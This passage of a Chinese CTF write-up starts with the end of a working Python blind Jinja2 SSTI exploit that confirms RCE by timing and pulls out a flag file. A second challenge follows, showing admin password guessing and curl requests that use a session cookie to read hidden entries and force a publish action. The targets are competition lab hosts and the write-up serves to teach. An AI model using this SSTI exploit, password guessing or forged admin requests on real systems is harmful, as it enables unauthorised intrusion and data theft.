style="color: #c678dd;line-height: 26px;"><span leaf="">is</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">                print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[!] failed at position </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{position}</span></span><span leaf="">&#34;</span></span><span leaf="">, file=sys.stderr)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">break</span></span><span leaf=""><br/></span><span leaf="">            value.append(ch)</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[cur] </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;&#39;</span></span><span leaf="">.join(value)}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;&#34;</span></span><span leaf="">.join(value)</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">parse_args</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    parser = argparse.ArgumentParser(</span><span leaf=""><br/></span><span leaf="">        description=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Blind Jinja2 SSTI exploit for the N-Horse challenge.&#34;</span></span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-u&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--url&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        default=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://114.66.24.221:32571/" target="_blank">http://114.66.24.221:32571/</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Target base URL.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-d&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--delay&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        type=int,</span><span leaf=""><br/></span><span leaf="">        default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Sleep delay used by the time-based oracle.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-t&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--timeout&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        type=int,</span><span leaf=""><br/></span><span leaf="">        default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;HTTP request timeout.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-m&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--max-len&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        type=int,</span><span leaf=""><br/></span><span leaf="">        default=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">80</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Maximum flag length to probe.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-c&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--charset&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        default=DEFAULT_CHARSET,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Character set for blind extraction.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-p&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--paths&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        nargs=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;*&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        default=DEFAULT_CANDIDATE_PATHS,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Candidate flag paths.&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    parser.add_argument(</span><span leaf=""><br/></span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;--proxy&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">        help=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Optional proxy URL, for example <a href="http://127.0.0.1:8080" target="_blank">http://127.0.0.1:8080</a>&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> parser.parse_args()</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    args = parse_args()</span><span leaf=""><br/></span><span leaf="">    exploit = BlindSSTIExploit(</span><span leaf=""><br/></span><span leaf="">        base_url=args.url,</span><span leaf=""><br/></span><span leaf="">        delay=args.delay,</span><span leaf=""><br/></span><span leaf="">        timeout=args.timeout,</span><span leaf=""><br/></span><span leaf="">        charset=args.charset,</span><span leaf=""><br/></span><span leaf="">        proxy=args.proxy,</span><span leaf=""><br/></span><span leaf="">    )</span><span leaf=""><br/></span><span leaf="">    ok, elapsed = exploit.confirm_rce()</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[rce] confirmed=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{ok}</span></span><span leaf=""> time=</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{elapsed:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">.2</span></span><span leaf="">f}</span></span><span leaf="">s&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> ok:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[!] RCE confirmation failed&#34;</span></span><span leaf="">, file=sys.stderr)</span><span leaf=""><br/></span><span leaf="">        sys.exit(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    flag_path = exploit.find_flag_path(args.paths)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> flag_path:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[!] no candidate flag path matched&#34;</span></span><span leaf="">, file=sys.stderr)</span><span leaf=""><br/></span><span leaf="">        sys.exit(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] flag path: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{flag_path}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    length = exploit.get_length(flag_path, args.max_len)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">not</span></span><span leaf=""> length:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[!] failed to determine flag length&#34;</span></span><span leaf="">, file=sys.stderr)</span><span leaf=""><br/></span><span leaf="">        sys.exit(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    flag = exploit.extract_value(flag_path, length)</span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] final flag: </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{flag}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""><a class="wx_topic_link" topic-id="mnnvsr7c-jxwn6k" style="color: #576B95 !important;" data-topic="1" data-recommend="">#python</a> exp.py -u url</span></span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">N-RustPICA</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">首页是一个典型 SPA，真正数据靠前端 JS 再去请求 API。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">js源码里泄露了很多接口</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.02962962962962963" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030585" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=cee4f95d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2PZ4DlDJCc5nDouKcTPAlc1INKqoGpuz3hr7pSoxVlN3DTQEhLxRKC6t3yYfd80j4VAib7bZMHZbhsIztnFfyONkrnEHQ0PsUVw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这一步说明两件事：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">后台确实存在，不是纯前端假页面</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">有一个旧流程模板接口 /api/admin/templates/review-flow</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">登录</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">默认用户名已经给了：anime_admin</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">然后针对 anime_admin 试少量强相关密码：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">anime_admin</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">admin</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">123456</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">purestream</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">站点/品牌名变体</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">关键命中是：</span></p><ul style="list-style-type: square;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">用户名：anime_admin</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">密码：purestream</span></p></li></ul><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">登录后台，找到隐藏条目</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">拿着 Cookie 访问后台列表：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl -b &#34;nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7&#34; \</span><span leaf=""><br/></span><span leaf="">  <a href="http://114.66.24.221:32833/api/admin/anime" target="_blank">http://114.66.24.221:32833/api/admin/anime</a></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.4645286686103013" data-type="png" data-w="1029" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030589" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=f6ed50af&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2PQiarM5Elhlp9LG2zVSoDIN9AYsB5lYIyCibB6yztLGCEHu2hrJbadeEYQAVj6VNNzGGFgalRDzQs8N6x8snyrQOttUd4mgoIj4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">返回里可以看到一条公开页面没有的内部条目：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">  &#34;id&#34;:&#34;anime-0007&#34;,</span><span leaf=""><br/></span><span leaf="">  &#34;name&#34;:&#34;内部审片 07&#34;,</span><span leaf=""><br/></span><span leaf="">  &#34;status&#34;:&#34;internal&#34;</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl -b &#34;nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7&#34; \</span><span leaf=""><br/></span><span leaf="">  <a href="http://114.66.24.221:32833/api/admin/anime/anime-0007" target="_blank">http://114.66.24.221:32833/api/admin/anime/anime-0007</a></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.13753581661891118" data-type="png" data-w="1047" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030587" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=2ccb698e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjvwqHfehg2Pesm2cMsibhTskiaPpTGPB2NI7IflzCz2iaAZosVRpOcpN1KHxXsP03P1MZzAl0TzzVUBcK4jDItre2vf1IrEibNcibMZibH1l2wSYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">旧流程模板接口：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl -b &#34;nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7&#34; \</span><span leaf=""><br/></span><span leaf="">  <a href="http://114.66.24.221:32833/api/admin/templates/review-flow" target="_blank">http://114.66.24.221:32833/api/admin/templates/review-flow</a></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.1675925925925926" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030586" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=fe42c62b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjvwqHfehg2NNHadp2FQSueBsIuF1oMLMySVLgIRpsrmBB4qqYqtFHGiaNicIt7yOq8Pr7m8ticqQuNrxKuy4axVYVK4y4395TiaPAJ2vGicx0tRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这说明：</span></p><ol style="list-style-type: decimal;margin-top: 8px;margin-bottom: 8px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 25px;padding-right: 0px;color: rgb(0, 0, 0);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">后台仍然支持旧审核流程</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">发布内部条目需要完整 JSON</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">字段名、大小写、值格式都已经被泄露</span></p></li></ol><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">直接拿模板去打状态迁移接口：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">curl -b &#34;nctf_admin_session=27506416-d601-4954-a5b1-be02eb9e1fd7&#34; \</span><span leaf=""><br/></span><span leaf="">  -H &#34;Content-Type: application/json&#34; \</span><span leaf=""><br/></span><span leaf="">  -X POST \</span><span leaf=""><br/></span><span leaf="">  -d &#34;{\&#34;action\&#34;:\&#34;publish\&#34;,\&#34;targetStatus\&#34;:\&#34;published\&#34;,\&#34;reviewerToken\&#34;:\&#34;FEATURE-REVIEW-2025\&#34;,\&#34;featured\&#34;:false,\&#34;approvalTicket\&#34;:\&#34;PENDING-APPROVAL\&#34;}&#34; \</span><span leaf=""><br/></span><span leaf="">  <a href="http://114.66.24.221:32833/api/admin/anime/anime-0007/transition" target="_blank">http://114.66.24.221:32833/api/admin/anime/anime-0007/transition</a></span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" 